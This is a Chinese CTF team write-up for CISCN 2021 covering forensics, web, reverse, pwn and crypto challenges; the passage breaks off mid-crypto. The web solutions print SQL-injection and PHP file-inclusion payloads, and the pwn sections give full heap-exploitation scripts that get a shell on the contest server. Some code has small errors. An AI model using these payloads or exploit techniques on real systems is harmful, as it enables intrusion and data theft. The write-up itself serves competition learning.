CISCN-2021-Hrbust-Birkenwald战队write up

被大佬带飞的一天,荣获线上初赛全国区第七,东北区第一,撒花!

也是第一次跟着学校的大哥们冲榜,累是真的累,还有(写wp更累)

Misc

tiny traffic | Solved | 1cePeak

打开流量包发现服务端是一个Github的项目


导出HTTP流传输的文件,发现有两个经过brotli算法压缩的.br文件,linux下解压即可

brotli -d test.br
brotli -dsecret.br

test文件

syntax = "proto3";
message PBResponse {
    int32 code = 1;
    int64 flag_part_convert_to_hex_plz = 2;
    message data {
        string junk_data = 2;
        string flag_part = 1;
    }
    repeated data dataList = 3;
    int32 flag_part_plz_convert_to_hex = 4;
    string flag_last_part = 5;
}
message PBRequest {
    string cate_id = 1;
    int32 page = 2;
    int32 pageSize = 3;
}

protobuf官方文档
https://github.com/protocolbuffers/protobuf
直接使用protoc --python_out=. test.proto,会生成一个test_pb2.py,反序列化即可

import test_pb2
import brotli
data1 = test_pb2.PBResponse()
data2 = brotli.decompress(b"\x0b\x1c\x80\x08\xc8\x01\x10\xa2\xd4\x99\x07\x1a\x0e\x0a\x05\x65\x32\x33\x34\x35\x12\x05\x37\x61\x66\x32\x63\x1a\x0f\x0a\x06\x37\x38\x38\x39\x62\x30\x12\x05\x38\x32\x62\x63\x30\x20\xc6\xa2\xec\x07\x2a\x09\x64\x31\x37\x32\x61\x33\x38\x64\x63\x03")
data1.ParseFromString(data2)
flag = ""
flag += hex(data1.flag_part_convert_to_hex_plz)[2:]
flag += data1.dataList[0].flag_part
flag += data1.dataList[1].flag_part
flag += hex(data1.flag_part_plz_convert_to_hex)[2:]
flag += data1.flag_last_part
print("CISCN{" + flag + "}" )

CISCN{e66a22e23457889b0fb1146d172a38dc}

隔空传话 | Solved | 1cePeak

拿到数据Google搜索发现是PDU短信

找到在线解密网站https://tool.letmetellyou.xyz/pdu/,把它的解密js扒下来直接调用即可

import execjs
f = open('data.txt', 'r')
png = ''
for message in f.readlines():
    rFile = open('index.js', 'r')
    testResult = execjs.compile(rFile.read()).call('getPDUMetaInfo', message)
    png += testResult.split('\n\n')[1].split('\nLength:')[0]
    print(testResult.split('\n\n')[1].split('\nLength:')[0])


按照时间戳顺序整理之后,可以在hex数据中找到检索到图片头89504E47,再定位图片尾AE426082,将完整图片提取出来,发现宽度不正确,根据之前的暗示w465,修改宽度为01d1即可



flag前几位是手机号前八位,在前四条消息有提示

CISCN{15030442_b586_4c9e_b436_26def12293e4}

Robot | Solved | 1cePeak

首先追踪TCP流,发现大量坐标数据

提取流量中的坐标信息

写脚本画图还原即可

from PIL import Image
import hashlib
robot = open('C:/Users/86176/Desktop/point.txt')
pic = Image.new("RGB", (400,200))
for line in robot.readlines():
   if 'tgPos' in line:
       pic.putpixel((int(line.split('.')[-1].split(',')[0].replace('[', '')), int(line.split('.')[-1].split(',')[1])), (255, 255, 255))
pic.show()
print(hashlib.md5('easy_robo_xx'.encode()).hexdigest())

得到如图字符串

CISCN{d4f1fb80bc11ffd722861367747c0f10}

running_pixel | Solved | Tr0jAn

gif常规分帧,382张图,每10张为一组,没啥思路,把前三组的第一张图拿出来做了个逐位像素比较,发现其中不同的像素点都为(233,233,233)对每个bmp提取(233,233,233)像素点坐标,逐位输出,可以按顺序观察到flag


诸如以上每次输出一个字符,最终脚本如下:

from PIL import Image
pic = Image.new("RGB", (400, 400))
result = []
for a in range(4):
    for b in range(10):
        for c in range(10):
            if int(str(a) + str(b) + str(c)) < 382:
                img = Image.open('分离出/IMG00{}{}{}.bmp'.format(a, b, c))
                picture = img.load()
                for x in range(0, 400):
                    for y in range(0, 400):
                        if picture[x, y] == (233, 233, 233):
                            result.append((x, y))
for i in range(len(result)):
    pic.putpixel((list(result[i])[1], list(result[i])[0]), (255, 255, 255))
        if i != len(result)-1 and abs(list(result[i])[0]-list(result[i+1])[0]) > 1:
            pic.save('解出/flag{}.png'.format(i))
pic.save('解出/flag999.png')

CISCN{12504d0f-9de1-4b00-87a5-a5fdd0986a00}

Web

easy_source | Solved | T4rn

简单测试下目录
发现.index.php.swo
发现源码
本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }

}
$rc = $_GET["rc"];
$rb = $_GET["rb"];
$ra = $_GET["ra"];
$rd = $_GET["rd"];
$method = new $rc($ra, $rb);
var_dump($method->$rd());

代码里这个User类并没有什么东西,提示我们要注意文件里面还有什么,我一开始想 不会还有东西是不显示的吧 后来发现并没有,实例的类可用 基本确定我们是用内置类来进行操作
php内置类里的 ReflectionMethod 来读取东西
读什么是关键,想了想就在文件里面,想能不能读取注释呢

构造payload
payload:index.php?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
注释

懂了 遍历下这几个函数,最后在q里面成功找到

CISCN{rqJIv-skQUs-NuBgo-fp9SK-IzADy-}

easy_sql | Solved | T4rn

burp 测试了下
ban掉的东西很少,
union 和一些常见的列名,想起了LCTF2017题目里面的一道题报错无列名注入获得列名
参考了链接:https://www.secpulse.com/archives/65812.html

我算取巧了,上来就尝试flag表,构造闭合
'  and((select flag from flag)) and '

存在flag表 没有flag列而已,直接join无列名注入
' and ((select * from (select * from flag a join flag b using (no,id))c)) and '


查到列 然后直接报错读

'and  extractValue(1,(select f05b5eb1-d700-490c-80b3-f994cd858209 from flag)) and '


运气好拿了二血

CISCN{kVBF1-F0zxM-CSL5i-BGRDZ-OyvgG-}

middle_source | Solved | T4rn

做吐了的一道题,一开始就盯着源码硬dui,后来才发现又个/.listing

打开是个phpinfo
给了phpinfo+文件包含位点 基本上就是session包含
p神的脚本一下子就找到了
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
然后吐了写了半天shell 怎么也没写进去,然后就懵了,后来仔细翻了phpinfo

直接ban掉了,那我就只能自己读文件了,
直接写入

<?php print_r('glob /etc/*');?>


打出一堆文件
这个也是我的锅,我第一反应是学习一下这些都是什么意思,然后不断浪费自己时间之后,发现
这个太垃圾的随机字符串了
在第八个
读的时候发现有好多目录
于是就随便写个啥东西直接递归读

<?php function digui($a=""){foreach(glob($a.'/*') as $file){if (is_dir($file)) {print_r($file."fuck...\n");digui($file);}else{print_r(file_get_contents($f));}}}digui('/etc/bdfdheaedh'); ?>

然后get flag

CISCN{B2sYJ-5Iazl-LoFgs-n2XMo-jFEHG-}

Reverse

baby_bc | Solved | Tr0jAn

看到.bc,就用clang转化成汇编,然后编译即可

clang -S -fobjc -arc baby.bc -o baby.s
clang baby.s -o baby

然后就能ida打开直接分析

先对输入进行限制,只能输入25位1-5
fill_number()将输入存放到map里,如果已存在数字,则输入0

然后通过
docheck()检查,check分为两部分,第一部分检测每5位是否重复,和每隔5位是否重复,结合前面的输入25个字符,猜测是一个数独

第二部分通过row和col进行对输入的相邻元素的大小进行一个限制


利用z3直接求解即可
exp如下:

from z3 import *
row = [[0, 0, 0, 1], [1, 0, 0, 0], [2, 0, 0, 1], [0, 0, 0, 0], [1, 0, 1, 0]]
col = [[0, 0, 2, 0, 2], [0, 0, 0, 0, 0], [0, 0, 0, 1, 0], [0, 1, 0, 0, 1]]
solver1 = Solver()
map = [[Int("map[%d][%d]" % (a, b)) for a in range(5)] for b in range(5)]
solver1.add(map[2][2] == 4)
solver1.add(map[3][3] == 3)
for i in range(5):
    for j in range(5):
        solver1.add(map[i][j] >= 1)
        solver1.add(map[i][j] <= 5)
for i in range(5):
    for j in range(5):
        for k in range(j):
            solver1.add(map[i][j] != map[i][k])
for j in range(5):
    for i in range(5):
        for k in range(i):
            solver1.add(map[i][j] != map[k][j])
for i in range(5):
    for j in range(4):
        if row[i][j] == 1:
            solver1.add(map[i][j] > map[i][j + 1])
        elif row[i][j] == 2:
            solver1.add(map[i][j] < map[i][j + 1])
for i in range(4):
    for j in range(5):
        if col[i][j] == 2:
            solver1.add(map[i][j] > map[i + 1][j])
        elif col[i][j] == 1:
            solver1.add(map[i][j] < map[i + 1][j])
if solver1.check() == sat:
    print(solver1.model())

得到map,并将map2以及map3替换为0,然后进行手动排序后进行md5加密,得到flag

CISCN{8a04b4597ad08b83211d3adfa1f61431}

glass | Solved | Tr0jAn

将jadx打开后分析,checkFlag为检测函数![图片]

改zip后缀,找到libnative-lib.so,ida分析

通过分析,前两个函数为一个常见的RC4加密,分析sub_10D4可得

先进行一个简单的三元置换,然后key进行一个循环异或

直接先循环异或,然后反向置换之后即可恢复,然后进行一个RC4解密即可

exp如下:

#include <stdio.h>
#include <string.h>
#include<iostream>

using namespace std;

static void rc4_init(unsigned char *s_box, unsigned char *key, unsigned int key_len) {
    unsigned char Temp[256];
    int i;
    for (i = 0; i < 256; i++) {
        s_box[i] = i;
        Temp[i] = key[i % key_len];
    }
    int j = 0;
    for (i = 0; i < 256; i++) {
        j = (j + s_box[i] + Temp[i]) % 256;
        unsigned char tmp = s_box[i];
        s_box[i] = s_box[j];
        s_box[j] = tmp;
    }
}

void rc4_crypt(unsigned char *data, unsigned int data_len, unsigned char *key, unsigned int key_len) {
    unsigned char s_box[256];
    rc4_init(s_box, key, key_len);
    unsigned int i = 0, j = 0, t = 0;
    unsigned int Temp;
    for (Temp = 0; Temp < data_len; Temp++) {
        i = (i + 1) % 256;
        j = (j + s_box[i]) % 256;
        unsigned char tmp = s_box[i];
        s_box[i] = s_box[j];
        s_box[j] = tmp;
        t = (s_box[i] + s_box[j]) % 256;
        data[Temp] ^= s_box[t];
    }
}

void fun(unsigned int *result, int a2, unsigned char *a3, int a4) {
    unsigned int tmp[3];
    for (int j = 0; j < a2; j++) {
        result[j] ^= (int) a3[j % 8];
    }
    for (int i = 0; i < a2; i += 3) {
        tmp[0] = result[i];
        tmp[1] = result[i + 1];
        tmp[2] = result[i + 2];
        result[i] = tmp[1] ^ tmp[2];
        result[i + 2] = tmp[0] ^ result[i];
        result[i + 1] = result[i + 2] ^ tmp[2];
    }
    return;
}

int main() {
    unsigned int text[] = {0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84, 0x65, 0xC2, 0xAD, 0xAD, 0x9E, 0x96, 0x05,
                           0x02, 0x1F, 0x8E, 0x36, 0x4F, 0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D, 0x42, 0xC7,
                           0x6E, 0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98, 0x3F};
    unsigned char key[] = {'1', '2', '3', '4', '5', '6', '7', '8'};
    fun(text, 39, key, 8);
//{0xf8,0xba,0x6a,0x97,0x47,0xca,0xe8,0x91,0xc5,0x7,0x6e,0xf7,0x92,0xb,0x39,0x92,0x14,0xa8,0xaf,0x7e,0xaa,0x50,0x45,0x8d,0x6d,0x2d,0xb6,0x86,0x6e,0x9f,0x86,0x5e,0xdf,0xb3,0x1e,0x52,0xa6,0x62,0x6a}
    unsigned char text1[] = {0xf8, 0xba, 0x6a, 0x97, 0x47, 0xca, 0xe8, 0x91, 0xc5, 0x7, 0x6e, 0xf7, 0x92, 0xb, 0x39,
                             0x92, 0x14, 0xa8, 0xaf, 0x7e, 0xaa, 0x50, 0x45, 0x8d, 0x6d, 0x2d, 0xb6, 0x86, 0x6e, 0x9f,
                             0x86, 0x5e, 0xdf, 0xb3, 0x1e, 0x52, 0xa6, 0x62, 0x6a};
    rc4_crypt(text1, 39, key, 8);
    printf("flag:");
    for (int i = 0; i < 39; i++) {
        printf("%c", text1[i]);
    }
    printf("\n");
    return 0;
}

flag:CISCN{6654d84617f627c88846c172e0f4d46c}

Pwn

lonelyworlf | Solved | wh1te

很经典的堆题,功能齐全

index没有用,全程就只有一个指针。delete函数存在uaf

解题思路:

先创造一个大小为8的堆块,free之后写8个字节的数据泄露堆地址,更新过后的glibc2.27不能直接double free,需要通过edit函数将chunk_bk位置上的数据清空后完成tcache poisoning在heap_base+0x18分配堆块,并写入数据。

填充 0xf0大小堆块的个数
填充 下一次分配0x30堆块的地址
payload = '\x00'*5 + '\x07' + '\x00'*(2 + 0x38) + p64(heap_base_addr + 0x270) + '\n'

之后创建大小为0x60和0x70的堆块(加起来等于0xf0,创建完就free)。申请0x20大小的堆块,修改chunk_0x60的size为0xf1。再将chunk_0x60申请回来再free就可以泄露libc地址。之后就可以修改free_hook为system。从而getshell
exp:

from pwn import *

local = 0
libc = ELF('./libc.so.6')
if local:
    sh = process('./a')
else:
    sh = remote('124.71.224.75', '25336')


def add(size):
    sh.sendlineafter('Your choice: ', '1')
    sh.sendlineafter('Index: ', '0')
    sh.sendlineafter('Size: ', str(size))


def edit(content):
    sh.sendlineafter('Your choice: ', '2')
    sh.sendlineafter('Index: ', '0')
    sh.sendafter('Content: ', content)


def show():
    sh.sendlineafter('Your choice: ', '3')
    sh.sendlineafter('Index: ', '0')


def delete():
    sh.sendlineafter('Your choice: ', '4')
    sh.sendlineafter('Index: ', '0')


def _exit():
    sh.sendlineafter('Your choice: ', '5')


add(8)
delete()
edit('a' * 8)
show()
sh.recvuntil('a' * 8)
heap_base_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x10
print(hex(heap_base_addr))

add(0x60)
delete()
add(0x70)
delete()
add(0x50)
delete()
edit('\x00' * 0x10 + '\n')
delete()
add(0x50)
edit(p64(heap_base_addr + 0x18) + '\n')
add(0x50)
add(0x50)
payload = '\x00' * 5 + '\x07' + '\x00' * (2 + 0x38) + p64(heap_base_addr + 0x270) + '\n'
edit(payload)

add(0x20)
edit('\x00' * 8 + p64(0xf1) + '\n')
add(0x60)
delete()
show()
sh.recvuntil('Content: ')
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - 0x3ebca0
print(hex(libc.address))

add(0x40)
delete()
edit('\x00' * 0x10 + '\n')
delete()
add(0x40)
edit(p64(libc.sym['__free_hook']) + '\n')
add(0x40)
add(0x40)
edit(p64(libc.sym['system']) + '\n')
add(0x10)
edit('/bin/sh\n')
delete()
sh.interactive()

CISCN{WDPGa-pT8cL-37sr7-QTkwx-SM3fz-}

pwny | Solved | wh1te

解题思路:

默认从文件描述符3开始读urandom的数据,所以read的时候会segment fault。但是可以通过第一次write将fd修改成很大的数,第二次write将其修改成0就可以正常读写了。之后就写malloc_hook为relloc,写realloc_hook为one_gadget。通过scanf调用malloc从而getshell,也可以通过hook_exit的方式,但是远程没打通。

exp:

from pwn import *

local = 1
libc = ELF('./libc.so.6')
one_gadget_libc = [0x4f3d5, 0x4f432, 0x10a41c]
elf = ELF('./a')
if local:
    sh = process('./a')
    offset = 0x616f60
else:
    sh = remote('124.71.224.75', '25416')
    offset = 0x616f68


def read(index):
    sh.sendlineafter('Your choice: ', '1')
    if index < 0:
        sh.sendlineafter('Index: ', p64((1 << 64) + index))
    else:
        sh.sendlineafter('Index: ', p64(index))


def write(index, content='', flag=0):
    sh.sendlineafter('Your choice: ', '2')
    sh.sendlineafter('Index: ', str(index))
    if flag == 1:
        sh.send(content)


def _exit():
    sh.sendlineafter('Your choice: ', '3')


def addr_to_offset(addr):
    return (addr - elf.address - 0x202060) // 8


write(256)
write(256)
read(-18)
sh.recvuntil('Result: ')
libc.address = int(sh.recv(12), 16) - libc.sym['exit']
print(hex(libc.address))
read(-92)
sh.recvuntil('Result: ')
elf.address = int(sh.recv(12), 16) - 0xA00
print(hex(elf.address))

exit_hook = libc.address + offset
print(hex(exit_hook))
one_gadget_addr = one_gadget_libc[2] + libc.address
write(addr_to_offset(libc.sym['__malloc_hook']), p64(libc.sym['realloc'] + 0x4), 1)
write(addr_to_offset(libc.sym['__realloc_hook']), p64(one_gadget_addr), 1)
# write(addr_to_offset(exit_hook), p64(libc.sym['malloc']), 1)
# _exit()
sh.sendlineafter('Your choice: ', '2' * 0x500)
sh.interactive()

get shell

CISCN{2CrAw-Spihm-HAxin-PT8vz-CIh5Y-}

silverwolf_wp | Solved | wh1te

跟lonelywolf相同但是开启了沙箱。

解题思路:

因为开启了沙箱所以将需要的堆块先从tcache中清空使得后面构造unsorted bin时更加方便,总体思路跟lonelywolf相同。修改__free_hook为setcontext+53之后通过rdi和setcontext+53设置寄存器的值,调用read函数写入rop链,输出flag。

exp:

from pwn import *

local = 0
libc = ELF('./libc.so.6')
context.arch = 'amd64'
pop_rdi_ret_addr = 0x215bf
pop_rsi_ret_addr = 0x23eea
pop_rdx_rsi_ret_addr = 0x130569
ret_addr = 0x8aa
pop_rax_ret_addr = 0x043ae8
syscall_ret_addr = 0xd2745
if local:
    sh = process('./a')
else:
    sh = remote('124.71.224.75', '25361')


def add(size):
    sh.sendlineafter('Your choice: ', '1')
    sh.sendlineafter('Index: ', '0')
    sh.sendlineafter('Size: ', str(size))


def edit(content):
    sh.sendlineafter('Your choice: ', '2')
    sh.sendlineafter('Index: ', '0')
    sh.sendafter('Content: ', content)


def show():
    sh.sendlineafter('Your choice: ', '3')
    sh.sendlineafter('Index: ', '0')


def delete():
    sh.sendlineafter('Your choice: ', '4')
    sh.sendlineafter('Index: ', '0')


def _exit():
    sh.sendlineafter('Your choice: ', '5')
add(8)
delete()
edit('a' * 8)
show()
sh.recvuntil('a' * 8)
heap_base_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x10
print(hex(heap_base_addr))
for i in range(12):
    add(0x60)
add(0x70)

add(0x60)
delete()
add(0x70)
delete()
add(0x30)
add(0x50)
delete()
edit('\x00' * 0x10 + '\n')
delete()
add(0x50)
edit(p64(heap_base_addr + 0x18) + '\n')
add(0x50)
add(0x50)
payload = '\x00' * 5 + '\x07' + '\x00' * (2 + 0x38) + p64(heap_base_addr + 0x1bc0) + '\n'
edit(payload)
add(0x20)
edit('\x00' * 8 + p64(0xf1) + '\n')
add(0x60)
delete()
show()
sh.recvuntil('Content: ')
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - 0x3ebca0
print(hex(libc.address))
pop_rdi_ret_addr += libc.address
pop_rsi_ret_addr += libc.address
pop_rdx_rsi_ret_addr += libc.address
ret_addr += libc.address
pop_rax_ret_addr += libc.address
syscall_ret_addr += libc.address
rop_chain_addr = libc.bss() + 0x200
flag_addr = rop_chain_addr + 0x80
rop_chain = p64(pop_rdi_ret_addr) + p64(flag_addr) + p64(pop_rsi_ret_addr) + p64(0) + p64(pop_rax_ret_addr) + p64(2) + p64(syscall_ret_addr)
rop_chain += p64(pop_rdi_ret_addr) + p64(3) + p64(pop_rdx_rsi_ret_addr) + p64(0x50) + p64(libc.bss()) + p64(libc.sym['read'])
rop_chain += p64(pop_rdi_ret_addr) + p64(libc.bss()) + p64(libc.sym['puts'])
payload = rop_chain + './flag' + '\n'
add(0x40)
delete()
edit('\x00' * 0x10 + '\n')
delete()
add(0x40)
edit(p64(heap_base_addr + 0x60) + '\n')
add(0x40)
add(0x40)
edit(p64(libc.sym['__free_hook']) + p64(heap_base_addr + 0x1c10) + p64(heap_base_addr + 0x1c10 + 0x40) + p64(heap_base_addr + 0x1c10 + 0x40 + 0x50) + '\n')
add(0x30)
edit(p64(libc.sym['setcontext'] + 53) + '\n')
print(hex(libc.sym['setcontext'] + 53))
frame = SigreturnFrame()
frame['uc_stack.ss_size'] = libc.sym['setcontext'] + 61
frame.rsp = rop_chain_addr
frame.rdi = 0
frame.rsi = rop_chain_addr
frame.rdx = 0x100
frame.rip = libc.sym['read']
payload = str(frame)
add(0x68)
edit(payload[0x90:])
add(0x50)
edit(payload[0x40:0x90])
add(0x40)
edit(payload[:0x40])
delete()
print(pop_rdi_ret_addr)
sh.send(rop_chain + './flag\x00')
sh.interactive()

get flag

CISCN{EaUD4-Bfm5M-HJO18-EwcmS-omu0N-}

Crypto

move | Solved | Tr0jAn

题目源码:

from Crypto.Util.number import *
from math import sqrt, gcd
import random
BITS = 512
f = open("flag.txt", "rb")
flag = f.read()
f.close()
def get_prime(nbit):
    while True:
        p = getPrime(nbit)
        if p % 3 == 2:
            return p
def gen(nbit):
    p = get_prime(nbit)
    q = get_prime(nbit)
    if q > p:
        p, q = q, p
    n = p * q
    bound = int(sqrt(2 * n)) // 12
    while True:
        x = random.randint(1, round(sqrt(bound)))
        y = random.randint(1, bound) // x
        zbound = int(((p - q) * round(n ** 0.25) * y) // (3 * (p + q)))
        z = zbound - ((p + 1) * (q + 1) * y + zbound) % x
        e = ((p + 1) * (q + 1) * y + z) // x
        if gcd(e, (p + 1) * (q + 1)) == 1:
            break
    gifts = [int(bin(p)[2:][:22], 2), int(bin(p)[2:][256:276], 2)]
    return n, e, gifts
def add(p1, p2):
    if p1 == (0, 0):
        return p2
    if p2 == (0, 0):
        return p1
    if p1[0] == p2[0] and (p1[1] != p2[1] or p1[1] == 0):
        return 0, 0
    if p1[0] == p2[0]:
        tmp = (3 * p1[0] * p1[0]) * inverse(2 * p1[1], n) % n
    else:
        tmp = (p2[1] - p1[1]) * inverse(p2[0] - p1[0], n) % n
    x = (tmp * tmp - p1[0] - p2[0]) % n
    y = (tmp * (p1[0] - x) - p1[1]) % n
    return int(x), int(y)
def mul(n, p):
    r = (0, 0)
    tmp = p
    while 0 < n:
        if n & 1 == 1:
            r = add(r, tmp)
        n, tmp = n >> 1, add(tmp, tmp)
    return r
n, e, hint = gen(BITS)
pt = (bytes_to_long(flag[:len(flag) // 2]), bytes_to_long(flag[len(flag) // 2:]))
c = mul(e, pt)
f = open("output.txt", "w")
f.write(f"n = {n}\n")
f.write(f"e = {e}\n")
f.write(f"h1 = {hint[0]}\n")
f.write(f"h2 = {hint[1]}\n")
f.write(f"c = {c}\n")
f.close()

这里参考该帖子,后来访问不到了,幸亏电脑有缓存

该题和原题思路一样,先求xy,然后求pq,exp如下:

import gmpy2
from Crypto.Util.number import *
import binascii

n = 80263253261445006152401958351371889864136455346002795891511487600252909606767728751977033280031100015044527491214958035106007038983560835618126173948587479951247946411421106848023637323702085026892674032294882180449860010755423988302942811352582243198025232225481839705626921264432951916313817802968185697281
e = 67595664083683668964629173652731210158790440033379175857028564313854014366016864587830963691802591775486321717360190604997584315420339351524880699113147436604350832401671422613906522464334532396034178284918058690365507263856479304019153987101884697932619200538492228093521576834081916538860988787322736613809
M = Matrix(ZZ, [[2 ** 512, e], [0, -n]])
GV = M.LLL()[0]
x = GV[0] >> 512
y = (e * x - GV[1]) // n
print(x)
print(y)
n = [80263253261445006152401958351371889864136455346002795891511487600252909606767728751977033280031100015044527491214958035106007038983560835618126173948587479951247946411421106848023637323702085026892674032294882180449860010755423988302942811352582243198025232225481839705626921264432951916313817802968185697281]
e = [67595664083683668964629173652731210158790440033379175857028564313854014366016864587830963691802591775486321717360190604997584315420339351524880699113147436604350832401671422613906522464334532396034178284918058690365507263856479304019153987101884697932619200538492228093521576834081916538860988787322736613809]
c = [(6785035174838834841914183175930647480879288136014127270387869708755060512201304812721289604897359441373759673837533885681257952731178067761309151636485456082277426056629351492198510336245951408977207910307892423796711701271285060489337800033465030600312615976587155922834617686938658973507383512257481837605, 38233052047321946362283579951524857528047793820071079629483638995357740390030253046483152584725740787856777849310333417930989050087087487329435299064039690255526263003473139694460808679743076963542716855777569123353687450350073011620347635639646034793626760244748027610309830233139635078417444771674354527028)]
y = [22131877391133483964429946329193825460775374851078084751208971056041193500203]
x = 26279444166664821795077701675621823220865336004430428203703688888211697122228
k = [e[0] * x - n[0] * y[0]]
K = [k[0] // y[0]]

def factor(K, N):
    l = 0
    r = K
    for i in range(518):
        s = (l + r) // 2
        v = s * s - (9 * s * s * (K - 1 - s) * (K - 1 - s) // (round(N ** 0.25) * round(N ** 0.25)))
        if v < 4 * N:
            l = s
        else:
            r = s
    return r

S = [factor(K[0], n[0])]
print(S)
S = [ 18383013852155207284866834850624501649134164688503883162216824258842790032992437383933186349369945088653252318167911285710266631681220716855493349532603970]
d = [gmpy2.invert(e[0], n[0] + 1 + S[0])]
print(d)
def add(p1, p2):
    if p1 == (0, 0):
        return p2
    if p2 == (0, 0):
        return p1
    if p1[0] == p2[0] and (p1[1] != p2[1] or p1[1] == 0):
        return 0, 0
    if p1[0] == p2[0]:
        tmp = (3 * p1[0] * p1[0]) * inverse(2 * p1[1], n) % n
    else:
        tmp = (p2[1] - p1[1]) * inverse(p2[0] - p1[0], n) % n
        x = (tmp * tmp - p1[0] - p2[0]) % n
        y = (tmp * (p1[0] - x) - p1[1]) % n
    return int(x), int(y)


def mul(n, p):
    r = (0, 0)
    tmp = p
    while 0 < n:
        if n & 1 == 1:
            r = add(r, tmp)
    n, tmp = n >> 1, add(tmp, tmp)
    return r
n = 80263253261445006152401958351371889864136455346002795891511487600252909606767728751977033280031100015044527491214958035106007038983560835618126173948587479951247946411421106848023637323702085026892674032294882180449860010755423988302942811352582243198025232225481839705626921264432951916313817802968185697281
d = 64865299864204876853170430993673920941415491009604414266642896481946449192491714463096186584933277485342387801073101451474578435166838494123830349800442326458421905584491174115903541394121208187797872066987148475627986250308746883861324178338503348125503382180617168925854908309364156754704352188572070286209
c = (6785035174838834841914183175930647480879288136014127270387869708755060512201304812721289604897359441373759673837533885681257952731178067761309151636485456082277426056629351492198510336245951408977207910307892423796711701271285060489337800033465030600312615976587155922834617686938658973507383512257481837605, 38233052047321946362283579951524857528047793820071079629483638995357740390030253046483152584725740787856777849310333417930989050087087487329435299064039690255526263003473139694460808679743076963542716855777569123353687450350073011620347635639646034793626760244748027610309830233139635078417444771674354527028)
flag = (mul(d, c))
print(binascii.unhexlify(hex(flag[0])[2:]))
print(binascii.unhexlify(hex(flag[1])[2:]))

CISCN{e91fef4ead7463b13d00bda65f540477}

imageencrypt | Solved | Tr0jAn

题目源码:

import random
from flag import flag,image,r,key1,key2
import md5

assert(flag[:5]=='CISCN')
assert(len(str(r))==3)
data = ''.join(map(chr,image))
assert(flag[6:-1] == md5.new(data).hexdigest())
assert(key1<256)
assert(key2<256)

x0 = random.random()
x0 = round(x0,6)

def generate(x):
    return round(r*x*(3-x),6)

def encrypt(pixel,key1,key2,x0,m,n):
    num = m*n/8    
    seqs = []
    x = x0
    bins = ''
    tmp = []
    for i in range(num):
        x = generate(x)
        tmp.append(x)
        seqs.append(int(x*22000))
    for x in seqs:
        bin_x  = bin(x)[2:]
        if len(bin_x) < 16:
            bin_x = '0'*(16-len(bin_x))+bin_x
        bins += bin_x
    assert(len(pixel) == m*n)
    cipher = [ 0 for i in range(m) for j in range(n)]
    for i in range(m):
        for j in range(n):
            index = n*i+j
            ch = int(bins[2*index:2*index+2],2)
            pix = pixel[index]
            if ch == 0:
                pix = (pix^key1)&0xff
            if ch == 1:
                pix = (~pix^key1)&0xff
            if ch == 2:
                pix = (pix^key2)&0xff
            if ch == 3:
                pix = (~pix^key2)&0xff
            cipher[index] = pix 
    return cipher
flagimage = image
testimage = []
for i in range(16*16):
    testimage.append(random.randint(0,255))
print testimage
print encrypt(testimage,key1,key2,x0,16,16)
print encrypt(flagimage,key1,key2,x0,24,16)

分析代码不难发现x0和r都很小,可以考虑一起爆破,又由于最后异或加密使用了key,但key仅和ch和解密结果有关,所以key1和key2的可能值也极少,有了爆破的可能。且由于算法特性,加密过程也即是解密过程。
爆破key的可能值

testcipher = [131, 92, 72, 47, 177, 57, 131, 118, 4, 38, 192, 19, 119, 82, 63, 143, 235, 165, 15, 140, 209, 223, 117, 133, 47, 148, 81, 144, 138, 246, 173, 235, 177, 181, 110, 39, 9, 192, 57, 166, 180, 153, 141, 19, 234, 157, 142, 80, 234, 197, 151, 152, 249, 143, 176, 155, 147, 17, 57, 194, 191, 254, 13, 144, 140, 85, 25, 248, 172, 208, 154, 249, 5, 201, 27, 137, 69, 23, 175, 34, 156, 72, 208, 32, 195, 16, 127, 65, 207, 131, 57, 203, 7, 98, 89, 36, 65, 75, 211, 21, 45, 132, 214, 239, 102, 58, 68, 130, 97, 204, 225, 76, 152, 216, 74, 149, 79, 165, 198, 72, 150, 94, 7, 177, 46, 226, 252, 247, 79, 62, 69, 106, 60, 21, 106, 236, 47, 145, 170, 28, 18, 101, 14, 152, 131, 7, 37, 15, 168, 99, 115, 27, 220, 150, 89, 82, 232, 170, 107, 221, 212, 46, 235, 129, 36, 66, 217, 222, 36, 15, 217, 192, 247, 192, 113, 230, 129, 196, 13, 247, 148, 228, 225, 86, 71, 133, 132, 238, 236, 127, 11, 83, 107, 141, 114, 150, 182, 146, 213, 250, 141, 53, 114, 16, 198, 70, 133, 17, 247, 173, 136, 73, 236, 78, 188, 150, 239, 58, 199, 136, 11, 122, 134, 77, 47, 167, 137, 188, 55, 195, 41, 49, 245, 92, 160, 213, 254, 0, 85, 205, 193, 69, 2, 140, 143, 155, 127, 236, 179, 199, 168, 35, 85, 40, 45, 174]
